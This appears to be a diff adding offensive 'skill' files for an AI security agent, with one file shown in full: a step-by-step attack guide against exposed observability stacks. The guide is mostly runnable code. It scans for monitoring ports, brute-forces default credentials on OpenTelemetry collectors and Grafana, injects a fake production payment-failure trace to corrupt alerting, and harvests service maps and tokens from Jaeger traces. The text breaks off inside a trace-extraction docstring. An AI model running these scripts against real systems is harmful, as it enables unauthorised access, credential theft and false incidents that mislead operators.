- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,501 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: observability-stack-attacks
|
|
5
|
+
description: Attack techniques against exposed observability infrastructure including OpenTelemetry collectors, Prometheus /metrics, Grafana, Jaeger, Zipkin, and similar monitoring backends — including credential brute-force, data injection, and information extraction
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Observability Stack Attack Techniques
|
|
9
|
+
|
|
10
|
+
Observability infrastructure (metrics, traces, logs) is routinely deployed without authentication because it's assumed to be internal-only. When exposed to the internet, these systems offer:
|
|
11
|
+
- **Information disclosure:** internal service names, hostnames, deployment topology, error messages, query patterns
|
|
12
|
+
- **Data injection:** fake traces/metrics to corrupt alerting, mask attacks, or trigger false incidents
|
|
13
|
+
- **Credential access:** some observability endpoints are precursors to full auth bypass (e.g., Grafana API key generation)
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## STEP 1 — Detect Observability Endpoints
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
# Discover observability-related subdomains
|
|
21
|
+
grep -iE '(otel|telemetry|tracing|metrics|grafana|jaeger|zipkin|kibana|elastic|logstash|tempo|loki|prometheus|influx|victoriametrics|datadog|honeycomb|newrelic|splunk)' \
|
|
22
|
+
output/subdomains.txt | sort -u | tee output/observability_subdomains.txt
|
|
23
|
+
|
|
24
|
+
# Also check for hex-encoded observability subdomains
|
|
25
|
+
# Common hex encodings:
|
|
26
|
+
# otel = 6f74656c
|
|
27
|
+
# metrics = 6d657472696373
|
|
28
|
+
# tracing = 74726163696e67
|
|
29
|
+
# logging = 6c6f6767696e67
|
|
30
|
+
python3 -c "
|
|
31
|
+
known = {'otel': '6f74656c', 'metrics': '6d657472696373', 'tracing': '74726163696e67',
|
|
32
|
+
'logging': '6c6f6767696e67', 'jaeger': '6a6165676572', 'tempo': '74656d706f'}
|
|
33
|
+
for name, hexval in known.items():
|
|
34
|
+
print(f'{hexval} = {name}')
|
|
35
|
+
print('Check if any of these hex values appear as subdomains')
|
|
36
|
+
"
|
|
37
|
+
grep -iE '(6f74656c|6d657472696373|74726163696e67)' output/subdomains.txt 2>/dev/null
|
|
38
|
+
|
|
39
|
+
# Standard observability ports to scan on live hosts
|
|
40
|
+
echo "Checking standard observability ports..."
|
|
41
|
+
while IFS= read -r host; do
|
|
42
|
+
hostname=$(echo "$host" | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}' | head -1)
|
|
43
|
+
[ -z "$hostname" ] && continue
|
|
44
|
+
for port in 9090 3000 16686 9411 14268 4317 4318 8080 8888 9999; do
|
|
45
|
+
result=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
46
|
+
--connect-timeout 3 "http://${hostname}:${port}/" 2>/dev/null)
|
|
47
|
+
[ "$result" != "000" ] && [ "$result" != "" ] && \
|
|
48
|
+
echo "[$result] ${hostname}:${port}"
|
|
49
|
+
done
|
|
50
|
+
done < output/live_hosts.txt | tee output/observability_ports.txt
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## STEP 2 — OpenTelemetry (OTEL) Collector Attacks
|
|
56
|
+
|
|
57
|
+
OTEL collectors are the most commonly exposed observability component in cloud-native infrastructure.
|
|
58
|
+
|
|
59
|
+
```python
|
|
60
|
+
# tools/otel_attack.py
|
|
61
|
+
"""
|
|
62
|
+
OpenTelemetry HTTP Collector (OTLP/HTTP) attack toolkit.
|
|
63
|
+
|
|
64
|
+
Standard ports:
|
|
65
|
+
4317 — gRPC (binary protobuf)
|
|
66
|
+
4318 — HTTP (JSON or protobuf) ← this skill focuses here
|
|
67
|
+
|
|
68
|
+
Standard paths:
|
|
69
|
+
/v1/traces — trace spans
|
|
70
|
+
/v1/metrics — metrics data points
|
|
71
|
+
/v1/logs — log records
|
|
72
|
+
|
|
73
|
+
Authentication types:
|
|
74
|
+
- None (most common misconfiguration)
|
|
75
|
+
- HTTP Basic Auth
|
|
76
|
+
- Bearer token (less common)
|
|
77
|
+
- mTLS (cannot attack without client cert)
|
|
78
|
+
"""
|
|
79
|
+
import urllib.request, urllib.error, ssl, json, base64, time
|
|
80
|
+
|
|
81
|
+
ctx = ssl.create_default_context()
|
|
82
|
+
ctx.check_hostname = False
|
|
83
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
84
|
+
|
|
85
|
+
def probe_otel_collector(base_url):
|
|
86
|
+
"""
|
|
87
|
+
Probe an OTEL HTTP collector for:
|
|
88
|
+
1. Authentication type (none, basic, bearer)
|
|
89
|
+
2. Accepted signal types (traces, metrics, logs)
|
|
90
|
+
3. Rate limiting behavior
|
|
91
|
+
4. Error message information leakage
|
|
92
|
+
"""
|
|
93
|
+
results = {"url": base_url, "auth": None, "endpoints": {}}
|
|
94
|
+
|
|
95
|
+
paths = ["/v1/traces", "/v1/metrics", "/v1/logs", "/", "/health"]
|
|
96
|
+
headers_to_try = [
|
|
97
|
+
("No Auth", {}),
|
|
98
|
+
("Basic admin:admin", {"Authorization": "Basic " + base64.b64encode(b"admin:admin").decode()}),
|
|
99
|
+
("Basic otel:otel", {"Authorization": "Basic " + base64.b64encode(b"otel:otel").decode()}),
|
|
100
|
+
("Basic admin:", {"Authorization": "Basic " + base64.b64encode(b"admin:").decode()}),
|
|
101
|
+
("Bearer test", {"Authorization": "Bearer test"}),
|
|
102
|
+
]
|
|
103
|
+
|
|
104
|
+
# First probe: determine auth requirement
|
|
105
|
+
print(f"\n=== Probing OTEL collector: {base_url} ===")
|
|
106
|
+
for path in paths:
|
|
107
|
+
url = base_url.rstrip('/') + path
|
|
108
|
+
for auth_name, auth_headers in headers_to_try:
|
|
109
|
+
headers = {"User-Agent": "opentelemetry-collector-contrib/0.90.1", **auth_headers}
|
|
110
|
+
# Use POST with minimal valid OTLP payload
|
|
111
|
+
# Minimal OTLP JSON trace payload
|
|
112
|
+
minimal_trace = json.dumps({
|
|
113
|
+
"resourceSpans": [{
|
|
114
|
+
"resource": {
|
|
115
|
+
"attributes": [{"key": "service.name", "value": {"stringValue": "probe"}}]
|
|
116
|
+
},
|
|
117
|
+
"scopeSpans": [{
|
|
118
|
+
"scope": {"name": "probe", "version": "1.0"},
|
|
119
|
+
"spans": [{
|
|
120
|
+
"traceId": "a" * 32,
|
|
121
|
+
"spanId": "b" * 16,
|
|
122
|
+
"name": "probe-span",
|
|
123
|
+
"kind": 1,
|
|
124
|
+
"startTimeUnixNano": str(int(time.time() * 1e9)),
|
|
125
|
+
"endTimeUnixNano": str(int(time.time() * 1e9) + 1000000),
|
|
126
|
+
"status": {"code": 1}
|
|
127
|
+
}]
|
|
128
|
+
}]
|
|
129
|
+
}]
|
|
130
|
+
}).encode()
|
|
131
|
+
|
|
132
|
+
req = urllib.request.Request(
|
|
133
|
+
url, data=minimal_trace if path == "/v1/traces" else b"{}",
|
|
134
|
+
headers={**headers, "Content-Type": "application/json"},
|
|
135
|
+
method="POST"
|
|
136
|
+
)
|
|
137
|
+
try:
|
|
138
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
139
|
+
body = r.read(500).decode('utf-8', 'ignore')
|
|
140
|
+
print(f"[{r.status}] {path} ({auth_name}): {body[:150]}")
|
|
141
|
+
results["endpoints"][path] = {"status": r.status, "auth": auth_name}
|
|
142
|
+
if auth_name == "No Auth":
|
|
143
|
+
results["auth"] = "NONE"
|
|
144
|
+
else:
|
|
145
|
+
results["auth"] = auth_name
|
|
146
|
+
break # Found working auth, stop trying
|
|
147
|
+
except urllib.error.HTTPError as e:
|
|
148
|
+
body = e.read(500).decode('utf-8', 'ignore')
|
|
149
|
+
if e.code == 401:
|
|
150
|
+
# Extract WWW-Authenticate for auth type detection
|
|
151
|
+
www_auth = e.headers.get('WWW-Authenticate', '')
|
|
152
|
+
print(f"[401] {path} ({auth_name}): WWW-Auth={www_auth} | {body[:100]}")
|
|
153
|
+
if 'basic' in www_auth.lower() and auth_name == "No Auth":
|
|
154
|
+
print(" -> HTTP Basic Auth required")
|
|
155
|
+
elif 'bearer' in www_auth.lower():
|
|
156
|
+
print(" -> Bearer token required")
|
|
157
|
+
elif e.code not in (404, 400):
|
|
158
|
+
print(f"[{e.code}] {path} ({auth_name}): {body[:100]}")
|
|
159
|
+
except Exception as ex:
|
|
160
|
+
print(f"[ERR] {path}: {ex}")
|
|
161
|
+
time.sleep(0.5)
|
|
162
|
+
|
|
163
|
+
return results
|
|
164
|
+
|
|
165
|
+
def brute_force_otel_basic_auth(base_url, path="/v1/traces"):
|
|
166
|
+
"""
|
|
167
|
+
Brute force HTTP Basic Auth on OTEL collector.
|
|
168
|
+
Only use after confirming Basic Auth is required.
|
|
169
|
+
Common OTEL collector default credentials.
|
|
170
|
+
"""
|
|
171
|
+
credentials = [
|
|
172
|
+
("admin", "admin"), ("otel", "otel"), ("collector", "collector"),
|
|
173
|
+
("opentelemetry", "opentelemetry"), ("", ""), ("admin", ""),
|
|
174
|
+
("otel", "password"), ("admin", "password"), ("test", "test"),
|
|
175
|
+
("prometheus", "prometheus"), ("grafana", "grafana"),
|
|
176
|
+
("metrics", "metrics"), ("monitor", "monitor"),
|
|
177
|
+
("otelcol", "otelcol"), ("collector", "password"),
|
|
178
|
+
]
|
|
179
|
+
|
|
180
|
+
url = base_url.rstrip('/') + path
|
|
181
|
+
print(f"\n=== Brute forcing OTEL Basic Auth: {url} ===")
|
|
182
|
+
|
|
183
|
+
for user, passwd in credentials:
|
|
184
|
+
creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
|
|
185
|
+
req = urllib.request.Request(
|
|
186
|
+
url, data=b"{}",
|
|
187
|
+
headers={
|
|
188
|
+
"Authorization": f"Basic {creds}",
|
|
189
|
+
"Content-Type": "application/json",
|
|
190
|
+
"User-Agent": "opentelemetry-collector/1.0"
|
|
191
|
+
},
|
|
192
|
+
method="POST"
|
|
193
|
+
)
|
|
194
|
+
try:
|
|
195
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
196
|
+
print(f"[FOUND] {user}:{passwd} → HTTP {r.status}")
|
|
197
|
+
return (user, passwd)
|
|
198
|
+
except urllib.error.HTTPError as e:
|
|
199
|
+
if e.code != 401:
|
|
200
|
+
print(f"[{e.code}] {user}:{passwd} → {e.read(100).decode()[:80]}")
|
|
201
|
+
except Exception as ex:
|
|
202
|
+
pass
|
|
203
|
+
time.sleep(0.3)
|
|
204
|
+
|
|
205
|
+
print("[*] No default credentials found")
|
|
206
|
+
return None
|
|
207
|
+
|
|
208
|
+
def inject_otel_traces(base_url, auth_headers={}):
|
|
209
|
+
"""
|
|
210
|
+
Inject fake traces to corrupt distributed tracing.
|
|
211
|
+
Use to demonstrate impact after credential confirmation.
|
|
212
|
+
"""
|
|
213
|
+
url = base_url.rstrip('/') + "/v1/traces"
|
|
214
|
+
|
|
215
|
+
# Inject a fake "payment failure" span
|
|
216
|
+
payload = json.dumps({
|
|
217
|
+
"resourceSpans": [{
|
|
218
|
+
"resource": {
|
|
219
|
+
"attributes": [
|
|
220
|
+
{"key": "service.name", "value": {"stringValue": "payment-processor"}},
|
|
221
|
+
{"key": "service.version", "value": {"stringValue": "1.0.0"}},
|
|
222
|
+
{"key": "deployment.environment", "value": {"stringValue": "production"}}
|
|
223
|
+
]
|
|
224
|
+
},
|
|
225
|
+
"scopeSpans": [{
|
|
226
|
+
"scope": {"name": "payment-processor", "version": "1.0"},
|
|
227
|
+
"spans": [{
|
|
228
|
+
"traceId": "c" * 32,
|
|
229
|
+
"spanId": "d" * 16,
|
|
230
|
+
"name": "processPayment",
|
|
231
|
+
"kind": 2, # SERVER
|
|
232
|
+
"startTimeUnixNano": str(int(time.time() * 1e9)),
|
|
233
|
+
"endTimeUnixNano": str(int(time.time() * 1e9) + 5000000000), # 5 second span
|
|
234
|
+
"status": {"code": 2, "message": "PAYMENT_VAULT_UNREACHABLE"},
|
|
235
|
+
"attributes": [
|
|
236
|
+
{"key": "http.status_code", "value": {"intValue": 500}},
|
|
237
|
+
{"key": "error.type", "value": {"stringValue": "PaymentVaultError"}},
|
|
238
|
+
{"key": "error.message", "value": {"stringValue": "injected-probe"}},
|
|
239
|
+
]
|
|
240
|
+
}]
|
|
241
|
+
}]
|
|
242
|
+
}]
|
|
243
|
+
}).encode()
|
|
244
|
+
|
|
245
|
+
req = urllib.request.Request(
|
|
246
|
+
url, data=payload,
|
|
247
|
+
headers={**auth_headers, "Content-Type": "application/json"},
|
|
248
|
+
method="POST"
|
|
249
|
+
)
|
|
250
|
+
try:
|
|
251
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
252
|
+
print(f"[{r.status}] Trace injection successful: {r.read(200).decode()}")
|
|
253
|
+
return True
|
|
254
|
+
except urllib.error.HTTPError as e:
|
|
255
|
+
print(f"[{e.code}] Trace injection: {e.read(200).decode()[:100]}")
|
|
256
|
+
return False
|
|
257
|
+
|
|
258
|
+
# Main execution
|
|
259
|
+
if __name__ == "__main__":
|
|
260
|
+
# Load observability subdomains
|
|
261
|
+
targets = []
|
|
262
|
+
try:
|
|
263
|
+
with open("output/observability_subdomains.txt") as f:
|
|
264
|
+
for line in f:
|
|
265
|
+
host = line.strip()
|
|
266
|
+
if host:
|
|
267
|
+
targets.append(f"https://{host}")
|
|
268
|
+
except FileNotFoundError:
|
|
269
|
+
pass
|
|
270
|
+
|
|
271
|
+
for target in targets:
|
|
272
|
+
result = probe_otel_collector(target)
|
|
273
|
+
if result.get("auth") == "NONE":
|
|
274
|
+
print(f"\n[CRITICAL] Unauthenticated OTEL access at {target}")
|
|
275
|
+
elif result.get("auth"):
|
|
276
|
+
print(f"\n[FINDING] Auth required but found working credentials at {target}")
|
|
277
|
+
# Try default credential brute force
|
|
278
|
+
creds = brute_force_otel_basic_auth(target)
|
|
279
|
+
if creds:
|
|
280
|
+
auth_header = {"Authorization": "Basic " + base64.b64encode(f"{creds[0]}:{creds[1]}".encode()).decode()}
|
|
281
|
+
inject_otel_traces(target, auth_header)
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
python3 tools/otel_attack.py | tee output/otel_attack_results.txt
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## STEP 3 — Prometheus /metrics Exploitation
|
|
291
|
+
|
|
292
|
+
```bash
|
|
293
|
+
# Probe Prometheus metrics endpoints
|
|
294
|
+
for host in $(cat output/live_hosts.txt | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}'); do
|
|
295
|
+
for path in "/metrics" "/prometheus/metrics" "/actuator/prometheus" "/-/metrics"; do
|
|
296
|
+
result=$(curl -sk -o - -w "\n%{http_code}" "https://${host}${path}" 2>/dev/null)
|
|
297
|
+
status=$(echo "$result" | tail -1)
|
|
298
|
+
body=$(echo "$result" | head -5)
|
|
299
|
+
if [ "$status" = "200" ] && echo "$body" | grep -q "^#\|^[a-z_]"; then
|
|
300
|
+
echo "[PROMETHEUS] https://${host}${path}"
|
|
301
|
+
# Extract service names and internal hostnames from metrics
|
|
302
|
+
curl -sk "https://${host}${path}" \
|
|
303
|
+
| grep -oE '[a-zA-Z0-9._-]{5,60}\.[a-zA-Z]{2,}' \
|
|
304
|
+
| sort -u | head -20
|
|
305
|
+
fi
|
|
306
|
+
done
|
|
307
|
+
done | tee output/prometheus_findings.txt
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
---
|
|
311
|
+
|
|
312
|
+
## STEP 4 — Grafana Unauthenticated Access
|
|
313
|
+
|
|
314
|
+
```python
|
|
315
|
+
# tools/grafana_attack.py
|
|
316
|
+
"""
|
|
317
|
+
Grafana attack vectors:
|
|
318
|
+
1. Default credentials: admin:admin (very common)
|
|
319
|
+
2. Anonymous access enabled (some orgs enable this)
|
|
320
|
+
3. API key in URL parameters
|
|
321
|
+
4. Snapshot API without auth
|
|
322
|
+
5. Public dashboards
|
|
323
|
+
"""
|
|
324
|
+
import urllib.request, urllib.error, ssl, json
|
|
325
|
+
|
|
326
|
+
ctx = ssl.create_default_context()
|
|
327
|
+
ctx.check_hostname = False
|
|
328
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
329
|
+
|
|
330
|
+
def attack_grafana(base_url):
|
|
331
|
+
"""Test Grafana instance for common misconfigurations"""
|
|
332
|
+
|
|
333
|
+
# 1. Check if anonymous access is enabled
|
|
334
|
+
req = urllib.request.Request(f"{base_url}/api/org",
|
|
335
|
+
headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
|
|
336
|
+
try:
|
|
337
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
338
|
+
body = json.loads(r.read())
|
|
339
|
+
print(f"[ANONYMOUS ACCESS] Grafana org info: {body}")
|
|
340
|
+
except urllib.error.HTTPError as e:
|
|
341
|
+
if e.code == 401:
|
|
342
|
+
print(f"[AUTH REQUIRED] Grafana at {base_url}")
|
|
343
|
+
|
|
344
|
+
# 2. Try default admin:admin
|
|
345
|
+
import base64
|
|
346
|
+
for user, passwd in [("admin", "admin"), ("admin", "grafana"), ("grafana", "grafana")]:
|
|
347
|
+
creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
|
|
348
|
+
req = urllib.request.Request(
|
|
349
|
+
f"{base_url}/api/datasources",
|
|
350
|
+
headers={"Authorization": f"Basic {creds}", "Accept": "application/json"}
|
|
351
|
+
)
|
|
352
|
+
try:
|
|
353
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
354
|
+
body = json.loads(r.read())
|
|
355
|
+
print(f"[DEFAULT CREDS] {user}:{passwd} → Datasources: {body}")
|
|
356
|
+
return
|
|
357
|
+
except urllib.error.HTTPError as e:
|
|
358
|
+
if e.code != 401:
|
|
359
|
+
print(f"[{e.code}] {user}:{passwd}")
|
|
360
|
+
|
|
361
|
+
# 3. Test snapshot API (often unauthenticated)
|
|
362
|
+
req = urllib.request.Request(f"{base_url}/api/snapshots",
|
|
363
|
+
headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
|
|
364
|
+
try:
|
|
365
|
+
with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
|
|
366
|
+
print(f"[SNAPSHOTS] Unauthenticated snapshot access: {r.read(200).decode()}")
|
|
367
|
+
except urllib.error.HTTPError:
|
|
368
|
+
pass
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
---
|
|
372
|
+
|
|
373
|
+
## STEP 5 — Jaeger & Zipkin Exploitation
|
|
374
|
+
|
|
375
|
+
```bash
|
|
376
|
+
# Jaeger UI (default port 16686)
|
|
377
|
+
# Contains all distributed traces including internal service calls, DB queries, auth tokens
|
|
378
|
+
|
|
379
|
+
# Check for Jaeger
|
|
380
|
+
for host in $(cat output/observability_subdomains.txt); do
|
|
381
|
+
# Jaeger REST API (unauthenticated by default)
|
|
382
|
+
result=$(curl -sk -o /dev/null -w "%{http_code}" "https://${host}/api/services")
|
|
383
|
+
if [ "$result" = "200" ]; then
|
|
384
|
+
echo "[JAEGER API] https://${host}/api/services"
|
|
385
|
+
# Extract service names (reveals internal microservice architecture)
|
|
386
|
+
curl -sk "https://${host}/api/services" | python3 -c "
|
|
387
|
+
import sys, json
|
|
388
|
+
data = json.load(sys.stdin)
|
|
389
|
+
services = data.get('data', [])
|
|
390
|
+
print(f'Services: {len(services)}')
|
|
391
|
+
for s in services[:20]:
|
|
392
|
+
print(f' {s}')
|
|
393
|
+
"
|
|
394
|
+
# Extract traces (may contain auth tokens, user IDs, internal payloads)
|
|
395
|
+
curl -sk "https://${host}/api/traces?service=&limit=5" | python3 -c "
|
|
396
|
+
import sys, json
|
|
397
|
+
try:
|
|
398
|
+
data = json.load(sys.stdin)
|
|
399
|
+
traces = data.get('data', [])
|
|
400
|
+
print(f'Traces found: {len(traces)}')
|
|
401
|
+
for trace in traces[:2]:
|
|
402
|
+
spans = trace.get('spans', [])
|
|
403
|
+
for span in spans[:3]:
|
|
404
|
+
tags = {t['key']: t.get('value','') for t in span.get('tags', [])}
|
|
405
|
+
print(f' Span: {span.get(\"operationName\")} | Tags: {list(tags.keys())[:5]}')
|
|
406
|
+
except Exception as e:
|
|
407
|
+
print(f'Error: {e}')
|
|
408
|
+
"
|
|
409
|
+
fi
|
|
410
|
+
done
|
|
411
|
+
```
|
|
412
|
+
|
|
413
|
+
---
|
|
414
|
+
|
|
415
|
+
## Key Observability Endpoints Reference
|
|
416
|
+
|
|
417
|
+
| Tool | Default Port | Key Attack Path | Auth Default |
|
|
418
|
+
|------|-------------|----------------|--------------|
|
|
419
|
+
| OTEL HTTP Collector | 4318 | `/v1/traces`, `/v1/metrics`, `/v1/logs` | None |
|
|
420
|
+
| OTEL gRPC Collector | 4317 | gRPC binary | None |
|
|
421
|
+
| Prometheus | 9090 | `/metrics`, `/api/v1/query` | None |
|
|
422
|
+
| Grafana | 3000 | `/api/org`, `/api/datasources` | admin:admin |
|
|
423
|
+
| Jaeger | 16686 | `/api/services`, `/api/traces` | None |
|
|
424
|
+
| Zipkin | 9411 | `/api/v2/services`, `/api/v2/traces` | None |
|
|
425
|
+
| Kibana | 5601 | `/api/spaces/space`, `/_cat/indices` | None |
|
|
426
|
+
| Loki | 3100 | `/loki/api/v1/query_range` | None |
|
|
427
|
+
| Tempo | 3200 | `/api/search`, `/api/traces/{id}` | None |
|
|
428
|
+
| InfluxDB | 8086 | `/api/v2/query` | Token |
|
|
429
|
+
| VictoriaMetrics | 8428 | `/metrics`, `/api/v1/query` | None |
|
|
430
|
+
|
|
431
|
+
---
|
|
432
|
+
|
|
433
|
+
## Information Extraction from Traces
|
|
434
|
+
|
|
435
|
+
Once read access is confirmed, traces contain high-value intelligence:
|
|
436
|
+
|
|
437
|
+
```python
|
|
438
|
+
# tools/extract_trace_intelligence.py
|
|
439
|
+
"""
|
|
440
|
+
From Jaeger/Zipkin/Tempo traces, extract:
|
|
441
|
+
- Internal service names (microservice map)
|
|
442
|
+
- Database hostnames and query patterns
|
|
443
|
+
- Authentication tokens (JWT, session IDs passed as trace attributes)
|
|
444
|
+
- User IDs, merchant IDs, transaction IDs
|
|
445
|
+
- Internal IP addresses and ports
|
|
